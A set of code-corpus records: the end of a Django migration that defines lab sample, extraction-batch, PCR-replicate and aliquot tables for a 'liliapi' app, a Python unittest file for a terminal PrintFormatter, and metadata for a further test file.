models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='finalconcentratedsamplevolume_modifier', to=settings.AUTH_USER_MODEL)), ('sample', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='finalconcentratedsamplevolume', to='liliapi.Sample')), ], options={ 'db_table': 'lili_finalconcentratedsamplevolume', }, ), migrations.CreateModel( name='FilterTypeHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('matrix', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Matrix')), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical filter type', 'db_table': 'lili_filtertypehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.AddField( model_name='filtertype', name='matrix', field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='filtertypes', to='liliapi.Matrix'), ), migrations.AddField( model_name='filtertype', name='modified_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='filtertype_modifier', to=settings.AUTH_USER_MODEL), ), migrations.CreateModel( name='FieldUnitHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('table', models.CharField(max_length=64)), ('field', models.CharField(max_length=64)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('unit', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Unit')), ], options={ 'verbose_name': 'historical field unit', 'db_table': 'lili_fieldunithistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='ExtractionMethodHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical extraction method', 'db_table': 'lili_extractionmethodhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='ExtractionMethod', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='extractionmethod_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='extractionmethod_modifier', to=settings.AUTH_USER_MODEL)), ], options={ 'db_table': 'lili_extractionmethod', }, ), migrations.CreateModel( name='ExtractionBatchHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('re_extraction_notes', models.TextField(blank=True)), ('extraction_number', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('extraction_volume', liliapi.models.NonnegativeDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('extraction_date', models.DateField(db_index=True, default=datetime.date.today)), ('pcr_date', models.DateField(db_index=True, default=datetime.date.today)), ('qpcr_template_volume', models.DecimalField(decimal_places=10, default=6, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('elution_volume', liliapi.models.NonzeroDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('sample_dilution_factor', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('qpcr_reaction_volume', models.DecimalField(decimal_places=10, default=20, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('ext_pos_dna_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('ext_pos_dna_invalid', models.BooleanField(default=True)), ('inh_pos_cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('analysis_batch', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.AnalysisBatch')), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('extraction_method', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ExtractionMethod')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('inh_pos_nucleic_acid_type', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.NucleicAcidType')), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('re_extraction', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.ExtractionBatch')), ], options={ 'verbose_name': 'historical extraction batch', 'db_table': 'lili_extractionbatchhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.AddField( model_name='extractionbatch', name='extraction_method', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='extractionbatches', to='liliapi.ExtractionMethod'), ), migrations.AddField( model_name='extractionbatch', name='inh_pos_nucleic_acid_type', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, to='liliapi.NucleicAcidType'), ), migrations.AddField( model_name='extractionbatch', name='modified_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='extractionbatch_modifier', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='extractionbatch', name='re_extraction', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='extractionbatches', to='liliapi.ExtractionBatch'), ), migrations.CreateModel( name='ConcentrationTypeHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical concentration type', 'db_table': 'lili_concentrationtypehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='AnalysisBatchTemplateHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('description', models.TextField(blank=True)), ('extraction_volume', liliapi.models.NonnegativeDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('elution_volume', liliapi.models.NonzeroDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('target', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Target')), ], options={ 'verbose_name': 'historical analysis batch template', 'db_table': 'lili_analysisbatchtemplatehistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='AnalysisBatchTemplate', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('name', models.CharField(max_length=128, unique=True)), ('description', models.TextField(blank=True)), ('extraction_volume', liliapi.models.NonnegativeDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(0)])), ('elution_volume', liliapi.models.NonzeroDecimalField2010(decimal_places=10, max_digits=20, validators=[django.core.validators.MinValueValidator(Decimal('1E-10'))])), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='analysisbatchtemplate_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='analysisbatchtemplate_modifier', to=settings.AUTH_USER_MODEL)), ('target', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='analysisbatchtemplates', to='liliapi.Target')), ], options={ 'db_table': 'lili_analysisbatchtemplate', }, ), migrations.CreateModel( name='AnalysisBatchHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('name', models.CharField(db_index=True, max_length=128)), ('analysis_batch_description', models.CharField(blank=True, max_length=128)), ('analysis_batch_notes', models.CharField(blank=True, max_length=128)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ], options={ 'verbose_name': 'historical analysis batch', 'db_table': 'lili_analysisbatchhistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name='AliquotHistory', fields=[ ('id', models.IntegerField(auto_created=True, blank=True, db_index=True, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(blank=True, editable=False, null=True)), ('aliquot_number', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('frozen', models.BooleanField(default=True)), ('history_id', models.AutoField(primary_key=True, serialize=False)), ('history_date', models.DateTimeField()), ('history_change_reason', models.CharField(max_length=100, null=True)), ('history_type', models.CharField(choices=[('+', 'Created'), ('~', 'Changed'), ('-', 'Deleted')], max_length=1)), ('created_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('freezer_location', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.FreezerLocation')), ('history_user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='liliapi.Sample')), ], options={ 'verbose_name': 'historical aliquot', 'db_table': 'lili_aliquothistory', 'ordering': ('-history_date', '-history_id'), 'get_latest_by': 'history_date', }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.AlterUniqueTogether( name='pcrreplicatebatch', unique_together={('extraction_batch', 'target', 'replicate_number', 're_pcr')}, ), migrations.CreateModel( name='PCRReplicate', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('cq_value', liliapi.models.NullableNonnegativeDecimalField2010(blank=True, decimal_places=10, max_digits=20, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('gc_reaction', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('replicate_concentration', models.DecimalField(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(Decimal('1E-100'))])), ('invalid', models.BooleanField(default=True)), ('concentration_unit', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='pcrreplicates', to='liliapi.Unit')), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='pcrreplicate_creator', to=settings.AUTH_USER_MODEL)), ('invalid_override', models.ForeignKey(null=True, on_delete=django.db.models.deletion.PROTECT, related_name='pcrreplicates', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='pcrreplicate_modifier', to=settings.AUTH_USER_MODEL)), ('pcrreplicate_batch', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='pcrreplicates', to='liliapi.PCRReplicateBatch')), ('sample_extraction', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='pcrreplicates', to='liliapi.SampleExtraction')), ], options={ 'db_table': 'lili_pcrreplicate', 'unique_together': {('sample_extraction', 'pcrreplicate_batch')}, }, ), migrations.AlterUniqueTogether( name='inhibition', unique_together={('sample', 'extraction_batch', 'nucleic_acid_type')}, ), migrations.CreateModel( name='FinalSampleMeanConcentration', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('final_sample_mean_concentration', liliapi.models.NullableNonnegativeDecimalField120100(blank=True, decimal_places=100, max_digits=120, null=True, validators=[django.core.validators.MinValueValidator(0)])), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='finalsamplemeanconcentration_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='finalsamplemeanconcentration_modifier', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='finalsamplemeanconcentrations', to='liliapi.Sample')), ('target', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='finalsamplemeanconcentrations', to='liliapi.Target')), ], options={ 'db_table': 'lili_finalsamplemeanconcentration', 'ordering': ['sample', 'id'], 'unique_together': {('sample', 'target')}, }, ), migrations.CreateModel( name='FieldUnit', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('table', models.CharField(max_length=64)), ('field', models.CharField(max_length=64)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='fieldunit_creator', to=settings.AUTH_USER_MODEL)), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='fieldunit_modifier', to=settings.AUTH_USER_MODEL)), ('unit', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='fieldunits', to='liliapi.Unit')), ], options={ 'db_table': 'lili_fieldunit', 'unique_together': {('table', 'field')}, }, ), migrations.AlterUniqueTogether( name='extractionbatch', unique_together={('analysis_batch', 'extraction_number', 're_extraction')}, ), migrations.CreateModel( name='Aliquot', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_date', models.DateField(blank=True, db_index=True, default=datetime.date.today, null=True)), ('modified_date', models.DateField(auto_now=True, null=True)), ('aliquot_number', liliapi.models.NonnegativeIntegerField(validators=[django.core.validators.MinValueValidator(0)])), ('frozen', models.BooleanField(default=True)), ('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='aliquot_creator', to=settings.AUTH_USER_MODEL)), ('freezer_location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='aliquots', to='liliapi.FreezerLocation')), ('modified_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='aliquot_modifier', to=settings.AUTH_USER_MODEL)), ('sample', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='aliquots', to='liliapi.Sample')), ], options={ 'db_table': 'lili_aliquot', 'unique_together': {('sample', 'aliquot_number')}, }, ), ]

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0.904979

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81.897214

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6eb0856ff37a9b81b52a7dda960ea391bf619e06

10,251

py

Python

test/utilities/test_print_formatter.py

thomaspenin/orchid-font-tool

c064a5ddd582393e462fd7411eae250944a6f7e5

[ "MIT" ]

null

test/utilities/test_print_formatter.py

thomaspenin/orchid-font-tool

c064a5ddd582393e462fd7411eae250944a6f7e5

[ "MIT" ]

null

test/utilities/test_print_formatter.py

thomaspenin/orchid-font-tool

c064a5ddd582393e462fd7411eae250944a6f7e5

[ "MIT" ]

null

import unittest from src.utilities.print_formatter import PrintFormatter from src.utilities.print_formatter import Color; class PublicPrintFormatter(PrintFormatter): """Public class to test PrintFormatter private methods""" def __init__(self, arg): super(PublicPrintFormatter, self).__init__() self.arg = arg @staticmethod def public_remove_format_marks(str): return PrintFormatter._remove_format_marks(str) @staticmethod def public_remove_line_breaks(str): return PrintFormatter._remove_line_breaks(str) class PrintFormatterTestCase(unittest.TestCase): # Test _remove_line_breaks def test_remove_line_breaks_remove(self): """Test that the method actually removes line breaks""" test_str = "\ntest\n\n bold\n str" clean_str = PublicPrintFormatter.public_remove_line_breaks(test_str) self.assertEqual(clean_str, "test bold str") def test_remove_line_breaks_removes_leading_trailing_spaces(self): """Test that the method removes leading and trailing spaces""" test_str = " test bold str " clean_str = PublicPrintFormatter.public_remove_line_breaks(test_str) self.assertEqual(clean_str, "test bold str") def test_remove_line_breaks_preserves_string(self): """Test that the method preserves strings without line breaks, leading or trailing spaces""" test_str = "test bold str" clean_str = PublicPrintFormatter.public_remove_line_breaks(test_str) self.assertEqual(clean_str, "test bold str") # Test _remove_format_marks def test_remove_format_mark_bold(self): """Test that the method to remove format marks works with bold""" test_str = "test " + Color.BOLD + "bold" + Color.END + " str" clean_str = PublicPrintFormatter.public_remove_format_marks(test_str) self.assertEqual(clean_str, "test bold str") def test_remove_format_mark_no_mark(self): """Test that the method to remove format marks leaves str untouched when nothing to do""" test_str = "test clean str" clean_str = PublicPrintFormatter.public_remove_format_marks(test_str) self.assertEqual(clean_str, test_str) test_str2 = "" clean_str2 = PublicPrintFormatter.public_remove_format_marks(test_str2) self.assertEqual(clean_str2, test_str2) # Test title def test_title_line_breaks(self): """Test that the result begins and ends with a line break""" test_str = "test str" formatted_str = PrintFormatter.title(test_str) str_length = len(formatted_str) self.assertTrue(str_length > 2) self.assertEqual(formatted_str[0], '\n') self.assertEqual(formatted_str[str_length - 1], '\n') def test_title_is_bold(self): """Test that the result format is surrounded by bold commands""" test_str = "test str" formatted_str = PrintFormatter.title(test_str) str_length = len(formatted_str) self.assertTrue(str_length > 8) self.assertEqual(formatted_str.find('\033[1m'), 1) self.assertEqual(formatted_str.find('\033[0m'), str_length - 5) def test_title_is_upper(self): """Test that the content to format is kept as upper case""" test_str = "test str" formatted_str = PrintFormatter.title(test_str) self.assertEqual(formatted_str.count(test_str.upper()), 1) def test_title_empty_string(self): """Test that the result is an empty string for an empty string""" test_str = "" formatted_str = PrintFormatter.title(test_str) self.assertEqual(formatted_str, "") def test_title_containing_formatting(self): """Test that title is correct when there was already formatting marks (internal formatting shall be removed) """ test_str = "test " + Color.BOLD + "bold" + Color.END + " str" formatted_str = PrintFormatter.title(test_str) self.assertEqual(formatted_str, "\n\033[1mTEST BOLD STR\033[0m\n") def test_title_removes_inner_line_breaks(self): """Test that inner line breaks are removed""" test_str = "test\nbroken\nstr" formatted_str = PrintFormatter.title(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, "\n\033[1mTEST BROKEN STR\033[0m\n") # Test section def test_section_line_breaks(self): """Test that the result begins and ends with a line break""" test_str = "test str" formatted_str = PrintFormatter.section(test_str) str_length = len(formatted_str) self.assertTrue(str_length > 2) self.assertEqual(formatted_str[0], '\n') self.assertEqual(formatted_str[str_length - 1], '\n') def test_section_is_bold(self): """Test that the result format is surrounded by bold commands""" test_str = "test str" formatted_str = PrintFormatter.section(test_str) str_length = len(formatted_str) self.assertTrue(str_length > 8) self.assertEqual(formatted_str.find('\033[1m'), 1) self.assertEqual(formatted_str.find('\033[0m'), str_length - 5) def test_section_is_upper(self): """Test that the content to format is kept as upper case""" test_str = "test str" formatted_str = PrintFormatter.section(test_str) self.assertEqual(formatted_str.count(test_str.upper()), 1) def test_section_empty_string(self): """Test that the result is an empty string for an empty string""" test_str = "" formatted_str = PrintFormatter.section(test_str) self.assertEqual(formatted_str, "") def test_section_containing_formatting(self): """Test that title is correct when there was already formatting marks (internal formatting shall be removed) """ test_str = "test " + Color.BOLD + "bold" + Color.END + " str" formatted_str = PrintFormatter.section(test_str) self.assertEqual(formatted_str, "\n\033[1mTEST BOLD STR\033[0m\n") def test_section_removed_inner_line_breaks(self): """Test that inner line breaks are removed""" test_str = "test\nbroken\nstr" formatted_str = PrintFormatter.section(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, "\n\033[1mTEST BROKEN STR\033[0m\n") # Test paragraph def test_paragraph_line_breaks(self): """Test that the result begins and ends with a line break""" test_str = "test str" formatted_str = PrintFormatter.paragraph(test_str) str_length = len(formatted_str) self.assertTrue(str_length > 2) self.assertEqual(formatted_str[0], '\n') self.assertEqual(formatted_str[str_length - 1], '\n') def test_paragraph_is_indented(self): """Test that the result format is properly indented""" test_str = "test str" formatted_str = PrintFormatter.paragraph(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, "\n test str\n") def test_paragraph_empty_string(self): """Test that the result is an empty string for an empty string""" test_str = "" formatted_str = PrintFormatter.paragraph(test_str) self.assertEqual(formatted_str, "") def test_paragraph_containing_formatting(self): """Test that internal formatting marks are preserved""" test_str = "test " + Color.BOLD + "bold" + Color.END + " str" formatted_str = PrintFormatter.paragraph(test_str) self.assertEqual(formatted_str, "\n test \033[1mbold\033[0m str\n") def test_paragraph_removes_internal_line_breaks(self): """Test that inner line breaks are replaced by spaces""" test_str = "test\nbroken\nstr" formatted_str = PrintFormatter.paragraph(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, "\n test broken str\n") def test_paragraph_preserves_capitalization(self): """Test that capitalization is preserved""" test_str = "tEst brOKen str" formatted_str = PrintFormatter.paragraph(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, "\n tEst brOKen str\n") # Test paragraphsub def test_paragraphsub_ends_with_line_breaks(self): """Test that the result ends with a line break""" test_str = "test str" formatted_str = PrintFormatter.paragraphsub(test_str) str_length = len(formatted_str) self.assertTrue(str_length > 2) self.assertEqual(formatted_str[str_length - 1], '\n') def test_paragraphsub_is_indented(self): """Test that the result format is properly indented""" test_str = "test str" formatted_str = PrintFormatter.paragraphsub(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, " test str\n") def test_paragraphsub_empty_string(self): """Test that the result is an empty string for an empty string""" test_str = "" formatted_str = PrintFormatter.paragraphsub(test_str) self.assertEqual(formatted_str, "") def test_paragraphsub_containing_formatting(self): """Test that internal formatting marks are preserved""" test_str = "test " + Color.BOLD + "bold" + Color.END + " str" formatted_str = PrintFormatter.paragraphsub(test_str) self.assertEqual(formatted_str, " test \033[1mbold\033[0m str\n") def test_paragraphsub_removes_internal_line_breaks(self): """Test that inner line breaks are replaced by spaces""" test_str = "test\nbroken\nstr" formatted_str = PrintFormatter.paragraphsub(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, " test broken str\n") def test_paragraphsub_preserves_capitalization(self): """Test that capitalization is preserved""" test_str = "tEst brOKen str" formatted_str = PrintFormatter.paragraphsub(test_str) str_length = len(formatted_str) self.assertEqual(formatted_str, " tEst brOKen str\n")

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42ef12927a6df133428cabc17c2c88f2390fd1d7

15,026

py

Python

tests/coverage/test_layers.py

salvacarrion/dnpy

7685355076dbdbf76a4c06c0004aa65fe2e62603

[ "MIT" ]

null

tests/coverage/test_layers.py

salvacarrion/dnpy

7685355076dbdbf76a4c06c0004aa65fe2e62603

[ "MIT" ]

null

tests/coverage/test_layers.py

salvacarrion/dnpy

7685355076dbdbf76a4c06c0004aa65fe2e62603

[ "MIT" ]

null

